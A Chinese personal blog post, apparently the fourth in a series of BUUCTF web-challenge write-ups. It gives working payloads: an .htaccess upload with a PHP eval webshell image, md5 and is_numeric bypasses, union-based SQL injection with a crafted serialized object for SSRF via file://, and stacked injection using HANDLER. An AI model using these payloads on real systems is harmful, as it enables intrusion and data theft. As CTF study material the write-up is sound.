BUUCTF Web记录 4

已经到第4篇了,不容易啊

题目链接

开头的日本人给我吓到了😅

/2021-08-24-buuctf-web%E8%AE%B0%E5%BD%95-4/image-20210824192847310.png
笑川の笑容

试了一下,php/php2/php3/phtml什么的都传不了,jpg可以传

那么思路就比较明显了,又是上传.htaccess或者.user.ini文件来使得服务端将图片🐎当作php文件解析。

上传.htaccess文件,文件内容:

1
2
3
4
GIF89a
<FilesMatch "leo.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这一步需要用Burp拦截请求,手动修改Content-Type: application/octet-streamContent-Type: image/png

然后上传leo.jpg,其中写入

1
2
GIF89a
<script language='php'>@eval($_POST['ye']);</script>

蚁剑连接即可。

题目链接

这题就这?

根据提示看php源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

存在两层需要绕过

第一层,满足两个get请求参数的md5强相等但是参数不相等,这显然是传数组呀。需要记住的是,对于php后端,get请求传递数组的方式为/?a[]=1,这样相当于传递了a = [1]/?a[]=1&a[]=2则相当于传递了a = [1, 2]

/2021-08-24-buuctf-web%E8%AE%B0%E5%BD%95-4/image-20210825105000448.png
md5绕过

第二层要求post的参数经is_numeric()返回false,但是要能够满足==1234567。百度一下is_numeric()绕过即可,最简单的方式就是post一个字符串1234567 ,注意后面加了个空格。1234567%00同样可以满足要求。

/2021-08-24-buuctf-web%E8%AE%B0%E5%BD%95-4/image-20210825105341819.png
is_numeric绕过

题目链接

fakebook,自己提交信息然后点join,就可以在网站上看到,这题应该是xss好吧并不是。

试了一下,用户名可以xss。

/2021-08-24-buuctf-web%E8%AE%B0%E5%BD%95-4/image-20210825111401320.png
join

注册之后提交,发现浏览方式为请求/view.php?no=1,看一下能不能注入(不能只认为输入框才存在注入)。

union select被过滤了,可以用union/**/select绕过。尝试之后发现查询语句的结果有4列。同时为了得到回显信息,我们需要把no=1改为no=-1,使它自己本身的查询语句没有结果,这样才能让网页显示注入内容的回显。

/view.php?no=-1 union/**/select 1,database(),3,4#得到数据库名为fakebook

/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#得到fakebook库中有个表为users

/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#得到表users的列为no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

接下来不知道该干嘛了。web题不知道干嘛的话就先扫一下目录吧。

dirsearch扫出来源码备份user.php.bak文件(我至今仍然不知道为什么我用这东西一般都扫不出来什么有价值的结果)。里面定义了一个UserInfo类型,应该就是我们join时输入的内容。其中isValidBlog()会对blog字段过滤,getBlogContents()会请求博客内容并显示。看到这里就应该有点感觉了,这题的预期解应该是绕过blog字段的判断,然后ssrf读取服务端的flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

再配合输入/view.php?no=-1 union/**/select 1,group_concat(data),3,4 from users#,会得到

1
O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:14;s:4:"blog";s:9:"dtest.com";},O:8:"UserInfo":3:{s:4:"name";s:3:"leo";s:3:"age";i:22;s:4:"blog";s:15:"1iu2y.github.io";},O:8:"UserInfo":3:{s:4:"name";s:40:"tes2";s:3:"age";i:14;s:4:"blog";s:9:"fwfwf.com";}

这刚好就是UserInfo的序列化结果。所以可以猜到view.php的逻辑就是根据no查询,再将查询结果的data栏进行反序列化,得到blog内容,然后调用getblogcontents()。所以我们通过修改反序列化的输入,就能够绕过isValidBlog()的判断。

而我们之前得到的列名结果为no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONSdata在第四列,所以构造的反序列化字符串应该放在select的第四个位置。再结合php伪协议file://,以及/flag.php的请求结果为200(理论上来说这一点在扫描的时候就能够得知),可以构造以下payload:

1
/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

查看源码得到base64编码。

/2021-08-24-buuctf-web%E8%AE%B0%E5%BD%95-4/image-20210825140012191.png
base64

解码得到flag

1
2
3
4
<?php

$flag = "flag{340198f3-c539-4aac-8a0c-5c6759155623}";
exit(0);

这题结合了get请求注入目录扫描反序列化php伪协议多个要素,是一道很有意思的题,也是目前为止我刷buuoj过程中碰到的最难的web题。

题目链接

1' or 1=1#看到当前表中存了3条记录。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}

1' union select 1,2,3 #发现set/select等不论大小写都被过滤了。

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

这又难到了我,看了一下报错注入也需要select啊,怎么操作呢?查阅博客后回想起,注入不是只有union联合注入updataxml报错注入等,还有堆叠注入啊。

1';show tables;#查看所有表

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
------------------------
array(1) {
  [0]=>
  string(8) "FlagHere"
}

array(1) {
  [0]=>
  string(5) "words"
}
------------------------

1';desc FalgHere;#查看FlagHere表的结构

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
------------------------
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
------------------------

flag就在这里了。接下来可以用prepare设置计划任务,也可以rename更改表名,但是这些关键字都被过滤了。所以这里需使用handler来实现注入。😶

在堆叠注入中,可以利用handler直接列出需要查询内容的表的数据,只需要知道表名

1';handler FlagHere open;handler FlagHere read first;#即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
------------------------
array(1) {
  [0]=>
  string(42) "flag{eb3f6fba-9f4e-402a-9252-c258ce1fe7cb}"
}
------------------------

文件上传,过滤了后缀名包含ph的文件。那最直接的思路就是上传图片马,然后再上传.htaccess或者.user.ini控制服务端将图片作为php解析。

随便访问一个不存在的目录,可以看到服务端用的是apache。

Not Found

The requested URL /test was not found on this server.


Apache/2.4.10 (Debian) Server at 5d755b3b-244b-42ae-b90c-2c9b6a481f76.node4.buuoj.cn Port 80

所以我们尝试上传.htaccess

1
2
3
<FilesMatch "leo.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

直接上传当然是不行的啦,得拦截然后修改为Content-Type: image/jpeg。然后常规操作,上传图片马再连接即可。

这里比较搞的一点是,我尝试了Content-Type: image/jpgContent-Type: image/png,发现都不行,还以为这题又是一种新的绕过方式。再看了别人博客之后才发现,原来就是个jpeg的问题…

最后,关于jpeg/jpg/png/bmp/gif这些常见的图片文件头部结构,可以上wikipedia查看。

php rce的题,这种类型的没学过啊,不会😣

搁置一下,做道Pwn换换脑子🌚去。